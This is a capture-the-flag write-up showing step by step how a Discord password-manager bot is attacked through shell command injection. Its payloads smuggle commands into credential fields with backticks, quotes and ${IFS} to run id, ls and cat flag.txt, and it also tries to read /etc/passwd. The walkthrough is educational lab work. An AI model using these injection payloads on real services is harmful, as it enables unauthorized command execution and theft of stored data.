Why this
This was a ctf.bsidesalgiers.com challenge by shellmates.club/.
So I woke up and saw some new challenges posted and I picked this from the misc category because it seemed interesting.
Btw this was an awesome pick this challenge was really enjoyable thanks to the authors :D
Enumeration
I had its username mate#1392
BOT and its description was !mate so I DM-ed the bot with !mate
.
I got back some info:
Hmm, there is a !help
command. Let’s try it:
Mate - The Password Manager Bot
Commands:
help Shows this message
login Login into your account.
mate Bot description
register Register your account.
Type !help command for more info on a command.
You can also type !help category for more info on a category.
I registered with !register 1337password
(the defaults) and got access to more functionality:
Mate - The Password Manager Bot
Commands:
add Add a new entry of credentials for specified URL
delete Delete entry specified by URL
help Shows this message
logout Log out of your account
mate Bot description
update Update credentials entry of specified URL
view View creds associated to URL (view all if no URL is provided)
Type !help command for more info on a command.
You can also type !help category for more info on a category.
Trying out the functionalities
Now, I tried everything one-by-one and I tried to spot interesting behaviour that could lead to either code injection or source leak or leakage of other user’s credentials.
!add https://test.com/ asd fgh
!view https://test.com/
https://test.com/
username
asd
password
fgh
add
takes 3 arguments a link(which need to start withhttps://
and end with.com
) a username and a password
Breaking it
!view https://*asd*
No credentials found for https://*asd*
- FAIL
!view `'
No credentials found for <`'>
- FAIL but different(
<mychars>
)
!add https://asd.asd/ asd fgh bnm
Credentials added for https://asd.asd/
!view https://asd.asd/
https://asd.asd/
username
asd
password
fgh
- The last argument got ignored!
Then I searched for openssl file read vulns because the challenge literally spammed it’s using openssl.
!add https://oof.com/ asd fgh enc -in "/etc/passwd"
https://oof.com/
username
asd
password
fgh
I tried some of it but none of them worked because the code ignored the args after the pass(2nd arg).
But then I tried using ' and " to group the arguments(asd fgh –> 2 arg, but ‘asd fgh’ –> 1 arg) it broke:
!add https://oof.com/ asd 'enc -in "/etc/passwd"'
Encryption Error
/bin/sh: 1: Syntax error: Unterminated quoted string
- OOOKAY, I got an error related to my quotes
- It uses
/bin/sh
so command injection should be possible
Trying to inject sh commands
I tried some basic command injections:
!add https://oof2.com/ asd `id`
Credentials added for https://oof2.com/
https://oof2.com/
username
asd
password
`id`
- NOPE
- My backticks got reflected and discord parsed them correctly
I thought I MUST BREAK the code then construct it again with my malicious code added in.
!add https://tasd.com/ asd';||asd asdf'
Encryption Error
/bin/sh: 1: Syntax error: "||" unexpected
- DIFFERENT ERROR but still an error :/
!add https://tasd5.com/ asd';asd'ayy asdf
Encryption Error
base64: invalid input
bad magic number
- DIFFERENT ERROR again
- The program uses base64 too
- But still not enough information
!add https://tasd6.com/ asd'+';id'+'ayy asdf
https://tasd6.com/
username
asd+;id+ayy
password
asdf
- It removes my singlequotes(
'
) from the output! - This means somehow it gets interpreted
!add https://a2asd.com/ asd'`asd`'ayy asdf
https://a2asd.com/
username
asdayy
password
asdf
- My injection(the line below) got removed and the program successfully ran
'`asd`'
Now I tried injecting a valid sh command like id
:
!add https://a3asd.com/ asd'`id`'ayy asdf
https://a3asd.com/
username
asduid=1000(mate) gid=1000(mate) groups=1000(mate)ayy
password
asdf
- YESSSS, got command execution!
- I am
mate
on the box!
Exploitation, getting the flag
Okay, so I got an rce but I need to get the flag somehow so I ran ls
.
!add https://a3asd2.com/ asd'`ls`'ayy asdf
https://a3asd2.com/
username
asddata.db db_handlers.py flag.txt matebot.pyayy
password
asdf
- The files are
data.db
,db_handlers.py
,flag.txt
andmatebot.py
So I tried to cat flag.txt
but got an error:
!add https://a3asd3.com/ asd'`cat flag.txt`'ayy asdf
Encryption Error
/bin/sh: 1: Syntax error: EOF in backquote substitution
- The problem is the space in the middel of my command
- But there’s a way to bypass this error on unix systems with the use of
${IFS}
. This is a common shell variable so you can also try running a command on your local machine with this likeuname${IFS}-a
and you will get the output.
Note that I fucked up for first because I used as in bash without the {}
’s:
!add https://a3asd3.com/ asd'`cat$IFSflag.txt`'ayy asdf
https://a3asd3.com/
username
asdayy
password
asdf
- Yeah, nothing. So from there I started thinking what could go wrong and it just popped into my mind that
$IFS
could be incompatible with only POSIX compliant shells.
So I tried with a compatible ${IFS}
.
For first I tried with the echo command so I dont have to bypass anything if there is some type of restriction on reading the flag.txt file:
!add https://a3asd7.com/ asd'echo${IFS}oof'ayy asdf
https://a3asd7.com/
username
asdoofayy
password
asdf
- GOT IT printed in the output
- This means
${IFS}
works well
Time to cat the flag:
!add https://a3asd8.com/ asd'cat${IFS}flag.txt'ayy asdf
username
asdshellmates{ev3n_D1$c0Rd_b0Ts_c4n_b3_vUln3r@ble_t0_c0Mm@nd_1nj3cti0n}ayy
password
asdf
- SUCCESS
- The flag is
shellmates{ev3n_D1$c0Rd_b0Ts_c4n_b3_vUln3r@ble_t0_c0Mm@nd_1nj3cti0n}
Last words
As it says DISCORD BOTS CAN BE VULNERABLE TO COMMAND INJECTION so please think about this when you are copy pasting discord.py sources from stackoverflow ;)
— I hope you liked this writeup, if so you are free to follow me on twitter twitter.com/szilak44